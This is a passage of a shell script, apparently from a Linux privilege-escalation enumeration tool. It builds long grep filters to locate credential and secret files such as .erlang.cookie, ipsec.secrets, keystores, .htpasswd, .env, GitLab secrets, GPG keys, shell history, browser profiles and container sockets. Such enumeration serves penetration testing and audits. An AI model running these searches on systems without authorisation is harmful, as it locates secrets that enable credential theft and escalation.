"$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "redis\.conf$" | sort | uniq | head -n 70) + PSTORAGE_MOSQUITTO=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "mosquitto\.conf$" | sort | uniq | head -n 70) + PSTORAGE_NEO4J=$(echo -e "$FIND_DIR_ETC\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_VAR\n$FIND_DIR_PRIVATE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_MNT\n$FIND_DIR_SNAP\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_SRV\n$FIND_DIR_SBIN\n$FIND_DIR_OPT\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "neo4j$" | sort | uniq | head -n 70) + PSTORAGE_CLOUD_INIT=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "cloud\.cfg$" | sort | uniq | head -n 70) + PSTORAGE_ERLANG=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "\.erlang\.cookie$" | sort | uniq | head -n 70) + PSTORAGE_GMV_AUTH=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "gvm-tools\.conf$" | sort | uniq | head -n 70) + PSTORAGE_IPSEC=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "ipsec\.secrets$|ipsec\.conf$" | sort | uniq | head -n 70) + PSTORAGE_IRSSI=$(echo -e "$FIND_DIR_ETC\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_VAR\n$FIND_DIR_PRIVATE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_MNT\n$FIND_DIR_SNAP\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_SRV\n$FIND_DIR_SBIN\n$FIND_DIR_OPT\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "\.irssi$" | sort | uniq | head -n 70) + PSTORAGE_KEYRING=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_DIR_ETC\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_VAR\n$FIND_DIR_PRIVATE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_MNT\n$FIND_DIR_SNAP\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_SRV\n$FIND_DIR_SBIN\n$FIND_DIR_OPT\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "keyrings$|.*\.keyring$|.*\.keystore$|.*\.jks$" | sort | uniq | head -n 70) + PSTORAGE_FILEZILLA=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_DIR_ETC\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_VAR\n$FIND_DIR_PRIVATE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_MNT\n$FIND_DIR_SNAP\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_SRV\n$FIND_DIR_SBIN\n$FIND_DIR_OPT\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "filezilla$|filezilla\.xml$|recentservers\.xml$" | sort | uniq | head -n 70) + PSTORAGE_BACKUP_MANAGER=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "storage\.php$|database\.php$" | sort | uniq | head -n 70) + PSTORAGE_SPLUNK=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "passwd$" | sort | uniq | head -n 70) + PSTORAGE_GITLAB=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -v -E '/lib' | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "secrets\.yml$|gitlab\.yml$|gitlab\.rm$" | sort | uniq | head -n 70) + PSTORAGE_PGP_GPG=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -v -E 'README.gnupg' | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E ".*\.pgp$|.*\.gpg$|.*\.gnupg$" | sort | uniq | head -n 70) + PSTORAGE_CACHE_VI=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E ".*\.swp$|.*\.viminfo$" | sort | uniq | head -n 70) + PSTORAGE_DOCKER=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "docker\.socket$|docker\.sock$|Dockerfile$|docker-compose\.yml$|dockershim\.sock$|containerd\.sock$|crio\.sock$|frakti\.sock$|rktlet\.sock$" | sort | uniq | head -n 70) + PSTORAGE_FIREFOX=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^" | grep -E "\.mozilla$|Firefox$" | sort | uniq | head -n 70) + PSTORAGE_CHROME=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^" | grep -E "google-chrome$|Chrome$" | sort | uniq | head -n 70) + PSTORAGE_OPERA=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^" | grep -E "com\.operasoftware\.Opera$" | sort | uniq | head -n 70) + PSTORAGE_SAFARI=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^" | grep -E "Safari$" | sort | uniq | head -n 70) + PSTORAGE_AUTOLOGIN=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "autologin$|autologin\.conf$" | sort | uniq | head -n 70) + PSTORAGE_FASTCGI=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "fastcgi_params$" | sort | uniq | head -n 70) + PSTORAGE_SNMP=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "snmpd\.conf$" | sort | uniq | head -n 70) + PSTORAGE_PYPIRC=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "\.pypirc$" | sort | uniq | head -n 70) + PSTORAGE_POSTFIX=$(echo -e "$FIND_DIR_ETC\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_VAR\n$FIND_DIR_PRIVATE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_MNT\n$FIND_DIR_SNAP\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_SRV\n$FIND_DIR_SBIN\n$FIND_DIR_OPT\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "postfix$" | sort | uniq | head -n 70) + PSTORAGE_CLOUDFLARE=$(echo -e "$FIND_DIR_ETC\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_VAR\n$FIND_DIR_PRIVATE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_MNT\n$FIND_DIR_SNAP\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_SRV\n$FIND_DIR_SBIN\n$FIND_DIR_OPT\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "\.cloudflared$" | sort | uniq | head -n 70) + PSTORAGE_HISTORY=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E ".*_history.*$" | sort | uniq | head -n 70) + PSTORAGE_HTTP_CONF=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "httpd\.conf$" | sort | uniq | head -n 70) + PSTORAGE_HTPASSWD=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "\.htpasswd$" | sort | uniq | head -n 70) + PSTORAGE_LDAPRC=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "\.ldaprc$" | sort | uniq | head -n 70) + PSTORAGE_ENV=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "\.env$" | sort | uniq | head -n 70) + PSTORAGE_MSMTPRC=$(echo -e 